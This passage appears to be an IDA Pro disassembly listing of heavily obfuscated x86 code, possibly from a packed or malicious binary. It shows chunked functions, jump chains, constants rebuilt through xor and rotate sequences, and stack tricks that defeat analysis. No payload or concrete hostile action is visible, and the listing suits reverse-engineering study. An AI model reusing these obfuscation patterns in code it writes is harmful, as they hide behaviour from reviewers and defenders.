		jmp	loc_4276FC
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_427E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426924


loc_4233D3:				; CODE XREF: sub_426924+6j
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		call	sub_4269BD
; END OF FUNCTION CHUNK	FOR sub_426924
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4233E1:				; CODE XREF: sub_423B05+5299j
		jmp	loc_427A44
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_4233E6:				; CODE XREF: sub_4237F4:loc_4243EDj
		or	dword ptr [eax-8], 4
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		jmp	loc_424C46
; END OF FUNCTION CHUNK	FOR sub_4237F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4233F8:				; CODE XREF: sub_424631:loc_426894j
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_424F28
		jmp	loc_4232F2
; END OF FUNCTION CHUNK	FOR sub_424631
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423408:				; CODE XREF: hjohnhn9:0042455Fj
		jmp	loc_4239B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278B9


loc_42340D:				; CODE XREF: sub_4278B9:loc_423948j
		call	sub_423425
		mov	[ebp-4], eax


loc_423415:				; CODE XREF: sub_427E85-3CEBj
					; sub_427463+Dj ...
		mov	eax, [ebp-1Ch]
		call	sub_427F90
		mov	[ebp-8], eax
		jmp	loc_4282CE
; END OF FUNCTION CHUNK	FOR sub_4278B9

; =============== S U B	R O U T	I N E =======================================



sub_423425	proc near		; CODE XREF: sub_4278B9:loc_42340Dp
					; sub_426CC8+4p ...

; FUNCTION CHUNK AT 004278D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282D8 SIZE 0000000B BYTES

		jns	sub_428477
		push	ebp
		mov	ebp, esp
		jmp	loc_4278D7
sub_423425	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_423433:				; CODE XREF: sub_427C9B:loc_427E76j
		jz	loc_427C63
		cmp	eax, 3B5A44D1h
		jmp	loc_424496
; END OF FUNCTION CHUNK	FOR sub_427C9B

; =============== S U B	R O U T	I N E =======================================



sub_423444	proc near		; DATA XREF: sub_4275F9+16o

; FUNCTION CHUNK AT 004270EE SIZE 00000013 BYTES

		call	sub_42345B
		jmp	loc_4270EE
sub_423444	endp

; ---------------------------------------------------------------------------


loc_42344E:				; CODE XREF: hjohnhn9:loc_428440j
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_423451:				; CODE XREF: sub_426354+1767j
		jmp	loc_423350
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F3F


loc_423456:				; CODE XREF: sub_425F3F+9j
		jmp	loc_4244EE
; END OF FUNCTION CHUNK	FOR sub_425F3F

; =============== S U B	R O U T	I N E =======================================



sub_42345B	proc near		; CODE XREF: sub_423444p
					; sub_424161:loc_424521j ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424145 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004243BD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426B55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426FCF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042827F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428522 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00428892 SIZE 0000001B BYTES

		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+4+var_4]
		jmp	loc_426FCF
sub_42345B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423466:				; CODE XREF: sub_4262C5:loc_424ADEj
		mov	al, [eax]
		mov	[ebp-9], al
		push	offset sub_428D64
		jmp	loc_4251E6
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		jns	loc_42410C
		push	esi
		push	3EE8867Dh
		pop	esi
		rol	esi, 10h
		xor	esi, 867D3EC0h
		add	eax, esi
		jmp	loc_424089
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DFB


loc_423495:				; CODE XREF: sub_426DFB:loc_4234A2j
		xchg	ebp, [esp+0]
		ror	eax, 12h
		mov	ds:dword_4233A4, eax
		retn
; ---------------------------------------------------------------------------


loc_4234A2:				; CODE XREF: sub_426DFB:loc_426E02j
		jmp	loc_423495
; END OF FUNCTION CHUNK	FOR sub_426DFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_4234A7:				; CODE XREF: sub_4250FC+15j
		jmp	loc_426912
; END OF FUNCTION CHUNK	FOR sub_4250FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240BC


loc_4234AC:				; CODE XREF: sub_4240BC+13j
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_4240BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4234B1:				; CODE XREF: sub_424161:loc_4279DEj
		push	eax
		push	0EB0820C5h
		pop	eax
		and	eax, 6CD12092h
		jmp	loc_429022
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------


loc_4234C3:				; CODE XREF: hjohnhn9:0042798Fj
		push	ebp
		cdq
		jmp	loc_42750E

; =============== S U B	R O U T	I N E =======================================



sub_4234CA	proc near		; CODE XREF: sub_427B51+62Dj
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_424A78
sub_4234CA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_423FB9


loc_4234D3:				; CODE XREF: sub_423FB9+Fj
					; sub_4260BD-201Aj
		jmp	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_423FB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_4234D8:				; CODE XREF: sub_426475:loc_423027j
		call	sub_4260BD
		mov	ebx, eax
		call	sub_424AAE
		xor	ebx, eax
		mov	[ebp-0Ch], ebx
		push	eax
		mov	eax, ecx
		jmp	loc_425E69
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D17


loc_4234F1:				; CODE XREF: sub_426D17+13j
		mov	ds:dword_425AE8, eax
		call	sub_424877
		mov	edx, 0A2CD59D9h
		call	sub_427C53
; END OF FUNCTION CHUNK	FOR sub_426D17
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423505:				; CODE XREF: sub_423B05-A31j
		mov	ds:dword_4252D0, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_42350B:				; CODE XREF: sub_428271-41FBj
		jmp	loc_4280F6
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
		jmp	loc_428050
; ---------------------------------------------------------------------------


loc_423515:				; CODE XREF: hjohnhn9:00425DD3j
		call	sub_424877
		jmp	loc_4237EF

; =============== S U B	R O U T	I N E =======================================



sub_42351F	proc near		; CODE XREF: sub_425EA9-16A2p

; FUNCTION CHUNK AT 00425D42 SIZE 00000005 BYTES

		push	ebx
		push	ecx
		push	offset loc_424904
		jmp	loc_425D42
sub_42351F	endp

; ---------------------------------------------------------------------------


loc_42352B:				; CODE XREF: hjohnhn9:00427AB0j
		cdq
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_42352D:				; CODE XREF: sub_4265CD:loc_427A9Cj
		add	eax, 8D6353E5h


loc_423533:				; CODE XREF: hjohnhn9:loc_428F2Cj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_425F4D
		jmp	loc_424449
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------


loc_423542:				; CODE XREF: hjohnhn9:004245B5j
		jnb	loc_4238C1

; =============== S U B	R O U T	I N E =======================================



sub_423548	proc near		; CODE XREF: sub_424631+3344p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_424A28


loc_423551:				; CODE XREF: sub_4262C5:loc_423C0Dj
		jmp	loc_427569
sub_423548	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_423556:				; CODE XREF: hjohnhn9:00425B9Dj
		or	edi, 0E6A75A88h

; =============== S U B	R O U T	I N E =======================================



sub_42355C	proc near		; CODE XREF: sub_4266B5:loc_424913p

; FUNCTION CHUNK AT 00424E9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425C18 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425C40 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425E06 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042607D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042743B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428542 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0A97A0725h
		pop	eax
		xor	eax, 0B4A5B546h
		jmp	loc_42743B
sub_42355C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427345


loc_423571:				; CODE XREF: sub_427345:loc_42742Cj
		pop	ecx
		add	esi, 0D0CC96EAh
		and	esi, 0DA1BA739h
		xor	esi, 0D81BA029h
		xchg	esi, [esp-4+arg_0]
		push	offset sub_4240AE
		jmp	loc_424FE8
; END OF FUNCTION CHUNK	FOR sub_427345
; ---------------------------------------------------------------------------


loc_423591:				; CODE XREF: hjohnhn9:loc_425B52j
		and	eax, edx
		jmp	loc_428DA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F0B


loc_423598:				; CODE XREF: sub_428F0B+6j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	offset sub_4263E3
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_428F0B
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0]
		jmp	loc_4244FA
; ---------------------------------------------------------------------------


loc_4235B0:				; DATA XREF: sub_423B6C+30CBo
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_427A6C
		inc	dword ptr [ebp-8]
; START	OF FUNCTION CHUNK FOR sub_426BD2


loc_4235C0:				; CODE XREF: sub_426BD2+8j
					; sub_427B7A:loc_42856Cj
		mov	eax, [ebp-8]
		pop	ecx


loc_4235C4:				; CODE XREF: hjohnhn9:loc_423977j
		jmp	loc_427A69
; END OF FUNCTION CHUNK	FOR sub_426BD2

; =============== S U B	R O U T	I N E =======================================



sub_4235C9	proc near		; CODE XREF: hjohnhn9:00427871j
					; hjohnhn9:00428C3Ap

; FUNCTION CHUNK AT 0042326F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426FC2 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		jmp	loc_426FC2
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4235D8	proc near		; CODE XREF: hjohnhn9:00423C51p
					; hjohnhn9:00427068j

; FUNCTION CHUNK AT 00427EA6 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ds:dword_423944, eax
		xor	eax, eax
		jmp	loc_427EA6
sub_4235D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		push	ebp
		mov	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_4235F0:				; CODE XREF: sub_4265CD:loc_425D6Fj
		xchg	ebp, [esp+0]
		push	9622C161h
		pop	eax
		xor	eax, 94EB5D2Ah
		jmp	loc_428576
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------


loc_423604:				; CODE XREF: hjohnhn9:004290ECj
		jg	loc_428892
		pop	ebx
		jmp	sub_42859A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428788


loc_423610:				; CODE XREF: sub_428788+18j
		call	sub_4244F5
		mov	esp, ebp
		pop	ebp
		push	ds:dword_423954
		retn
; END OF FUNCTION CHUNK	FOR sub_428788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C09


loc_42361F:				; CODE XREF: sub_426C09:loc_424891j
		jl	loc_428DA6
		jmp	loc_425E6E
; END OF FUNCTION CHUNK	FOR sub_426C09

; =============== S U B	R O U T	I N E =======================================



sub_42362A	proc near		; CODE XREF: hjohnhn9:00423A93j
					; sub_426F5A-1324p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042911D SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		ror	eax, 12h
		mov	ds:dword_428B18, eax
		jmp	loc_42911D
sub_42362A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42363F	proc near		; CODE XREF: sub_42897Bj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00424860 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424B8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424FB4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00425C7D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004265C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426FB8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426FC7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427491 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004279BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004289FD SIZE 00000007 BYTES

		push	ebp


loc_423640:				; CODE XREF: hjohnhn9:loc_427480j
		mov	ebp, esp
		push	ecx
		jmp	loc_4279BB
sub_42363F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423648:				; CODE XREF: sub_423B05+43EBj
		js	loc_427BFB
		test	edx, ebp
		jmp	loc_423C5B
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_423655	proc near		; CODE XREF: sub_424B30+Ap
					; hjohnhn9:00424CC3j
		xchg	ecx, [esp+0]
		pop	ecx


loc_423659:				; CODE XREF: sub_423B05:loc_423C5Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_423655	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_42365D:				; CODE XREF: sub_426F5A-30B0j
		jmp	loc_425C33
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423662:				; CODE XREF: sub_424631:loc_427DB3j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_428C75
		jmp	loc_428C5E
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42636C


loc_423671:				; CODE XREF: sub_42636C+Bj
		xor	ecx, 322A975Dh
		add	ecx, 0BFC07BFDh
		xor	ecx, 5EE2BF7Dh
		add	ecx, 26B6512Fh
		mov	[ecx], eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_42636C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_42368D:				; CODE XREF: sub_424631-14A9j
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_423692:				; CODE XREF: sub_42851A-1D45j
		rol	eax, 11h
		jmp	loc_42471C
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_42369A:				; CODE XREF: sub_4287BF:loc_423022j
		mov	[ebp-8], eax
		push	offset sub_4250FC
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_4287BF

; =============== S U B	R O U T	I N E =======================================



sub_4236A7	proc near		; DATA XREF: hjohnhn9:00428A0Ao

; FUNCTION CHUNK AT 00423087 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004232B4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004238EB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00423BF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424BAE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424F57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425D7B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042706D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00429027 SIZE 0000000B BYTES

		push	ebp
		pop	edx
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	ecx
		push	ebp
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		jmp	loc_423BF6
sub_4236A7	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_4236BB:				; CODE XREF: sub_423BC3+1Fj
		jz	loc_42782B
		sub	eax, 4DABBFC6h
		pushf
		jmp	loc_426A84
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
		mov	ds:dword_428AF0, eax
		cmp	ds:dword_428AF0, 0
		jnz	loc_426FAD
		jmp	loc_427FE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D67


loc_4236E4:				; CODE XREF: sub_423D67:loc_423CC8j
		or	edi, 4F1F9639h
		xor	edi, 0A0E06186h
		xchg	edi, [esp+0]
		push	ebx
		push	eax
		jmp	loc_423201
; END OF FUNCTION CHUNK	FOR sub_423D67
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 6D830F15h, 0E8FFFFFAh, 47Ch,	2A108A0Fh, 0D2F70000h
					; CODE XREF: sub_426D6A+17j
					; hjohnhn9:00426D4Aj
		dd 5A486852h, 815A70AEh, 9A6ACACAh, 0E1EA813Ch,	810E56BBh
		dd 0A875E1C2h, 2C4FE9FDh, 0C870000h, 0C875924h,	0FDD6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426749


loc_42373A:				; CODE XREF: sub_426749+1ACCj
		xor	edx, edx
		call	sub_427AEB


loc_423741:				; CODE XREF: sub_426749+2709j
		mov	eax, ds:dword_426E6C
		mov	[ebp-4], eax
		push	offset sub_426C5D
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_426749

; =============== S U B	R O U T	I N E =======================================



sub_423753	proc near		; CODE XREF: sub_4260BD:loc_426D9Dp
					; hjohnhn9:00428E2Dj

; FUNCTION CHUNK AT 00425CF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427229 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428BAA SIZE 00000002 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [ebp-8], 0
		jz	loc_427951
		jmp	loc_425CF5
sub_423753	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_423767:				; CODE XREF: sub_4287BF+1Cj
		jmp	loc_429061
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CE6


loc_42376C:				; CODE XREF: sub_426CE6+1701j
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_426CE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_423771:				; CODE XREF: sub_425BD2+666j
					; sub_427C9B+D57j
		ror	eax, 11h
		mov	ds:dword_428B08, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_42377B:				; CODE XREF: sub_426A78-1987j
					; sub_427BCE:loc_427380j
		push	offset sub_42442F
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_423785:				; CODE XREF: sub_4278DC+270j
		ror	eax, 0Bh
		push	ecx
		push	76B591BBh
		pop	ecx
		or	ecx, 536FC631h
		jmp	loc_428571
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------


loc_42379A:				; CODE XREF: hjohnhn9:loc_4237EFj
		mov	edx, 0A22F8A70h
		call	sub_427C53
		mov	ds:dword_425AE8, eax
		call	sub_424877
		mov	edx, 0A2CD59D9h
		call	sub_427C53
		jmp	loc_427C4D
; ---------------------------------------------------------------------------


loc_4237BD:				; DATA XREF: sub_426354:loc_426E12o
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_4252DC[eax*4]
		mov	[ebp-8], eax
		push	offset sub_427A07
		jmp	locret_426EF8
; ---------------------------------------------------------------------------
		sbb	eax, 0F87F5BB0h
		jmp	sub_427AC0
; ---------------------------------------------------------------------------
		mov	ebx, [ecx]
		jmp	loc_426BF7
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4237EA:				; CODE XREF: sub_42304F+4389j
		jmp	loc_427102
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------


loc_4237EF:				; CODE XREF: hjohnhn9:0042351Aj
		jmp	loc_42379A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4237F4	proc near		; CODE XREF: sub_423B05+40FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004233E6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00423963 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243D4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00424A46 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424C46 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042680E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426B24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427DD2 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_426B24
sub_4237F4	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_423801:				; CODE XREF: hjohnhn9:00428491j
		jmp	loc_427775
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427032


loc_423806:				; CODE XREF: sub_427032+10j
		jmp	loc_424480
; END OF FUNCTION CHUNK	FOR sub_427032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_42380B:				; CODE XREF: sub_424A78+233Dj
		jmp	loc_427637
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42841F


loc_423810:				; CODE XREF: sub_42841F-4708j
		jmp	loc_427B02
; END OF FUNCTION CHUNK	FOR sub_42841F
; ---------------------------------------------------------------------------


loc_423815:				; DATA XREF: sub_4278EC+5D2o
		call	sub_425EA9
		mov	edx, 0E5254649h
		call	sub_427C53
		mov	ds:dword_423944, eax
		jmp	loc_426D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_42382E:				; CODE XREF: sub_4278EC:loc_427EABj
		cmp	ds:dword_423944, 0
		jmp	loc_4279E8
; END OF FUNCTION CHUNK	FOR sub_4278EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_42383A:				; CODE XREF: sub_425CB3-17FAj
		mov	ecx, edx
		xchg	ecx, [esp+0]
		push	ecx
		push	0ED5F6B35h
		pop	ecx
		jmp	loc_427B97
; END OF FUNCTION CHUNK	FOR sub_425CB3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42384C:				; CODE XREF: sub_42466E+Fj
		jmp	loc_425091
; END OF FUNCTION CHUNK	FOR sub_42466E

; =============== S U B	R O U T	I N E =======================================



sub_423851	proc near		; DATA XREF: sub_428838+Fo
		jnz	loc_4287D2
		push	offset sub_4287BF
		jmp	nullsub_111
sub_423851	endp

; ---------------------------------------------------------------------------
		shr	edx, 4
		adc	edi, 1359C0Ah
		jmp	sub_428B28
; ---------------------------------------------------------------------------
		js	loc_426992
		jmp	sub_4275B2

; =============== S U B	R O U T	I N E =======================================



sub_42387A	proc near		; CODE XREF: hjohnhn9:00426F80j
					; sub_427AC0+8F4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00426685 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004270DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004271B3 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	esi, [esp-4+arg_0]
		push	ecx
		push	0B4C94AD3h
		pop	ecx
		sub	ecx, 0FA202DA4h
		and	ecx, 24F87E95h
		jmp	loc_4271B3
sub_42387A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428447


loc_423899:				; CODE XREF: sub_428447+12j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_42389B:				; CODE XREF: sub_4262C5:loc_42761Cj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_424E63
		mov	eax, [ebp-8]


loc_4238AA:				; CODE XREF: sub_427C9B:loc_426176j
		mov	byte ptr [eax],	0
		mov	esp, ebp
		jmp	loc_423F0B
; END OF FUNCTION CHUNK	FOR sub_4262C5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4238B5:				; CODE XREF: sub_423B05+4104j
		jmp	loc_423222
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4238BA:				; CODE XREF: sub_426354-2FFEj
		mov	edi, [ecx]
		xor	ebp, esi
		shr	edx, 7


loc_4238C1:				; CODE XREF: hjohnhn9:loc_423542j
		adc	esi, 528F26C2h
		jmp	loc_427951
; END OF FUNCTION CHUNK	FOR sub_426354

; =============== S U B	R O U T	I N E =======================================



sub_4238CC	proc near		; CODE XREF: sub_424335:loc_425147p
					; hjohnhn9:00426703j

; FUNCTION CHUNK AT 00425FFE SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	9A99E2F0h
		pop	eax
		add	eax, 0DA55A7E8h
		sub	eax, 0BC0F8EC2h
		rol	eax, 15h
		jmp	loc_425FFE
sub_4238CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_4238EB:				; CODE XREF: sub_4236A7-60Dj
		add	ebx, 8083061h
		add	eax, ebx
		pop	ebx
		mov	edi, [eax]
		add	eax, 4
		jmp	loc_4232B4
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_4238FE:				; CODE XREF: sub_424698:loc_424F4Dj
		or	eax, eax
		jnz	loc_428E1B
		jmp	loc_424153
; END OF FUNCTION CHUNK	FOR sub_424698
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_42390C:				; CODE XREF: sub_427AC0:loc_424251j
		push	eax


loc_42390D:				; CODE XREF: hjohnhn9:loc_425DDEj
		push	89045525h
		pop	eax
		rol	eax, 11h
		test	eax, 2
		jmp	loc_423B3E
; END OF FUNCTION CHUNK	FOR sub_427AC0

; =============== S U B	R O U T	I N E =======================================



sub_423921	proc near		; DATA XREF: sub_4241E1+7o
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
sub_423921	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_423928:				; CODE XREF: sub_424698+15CDj
		jmp	loc_425001
; END OF FUNCTION CHUNK	FOR sub_424698

; =============== S U B	R O U T	I N E =======================================



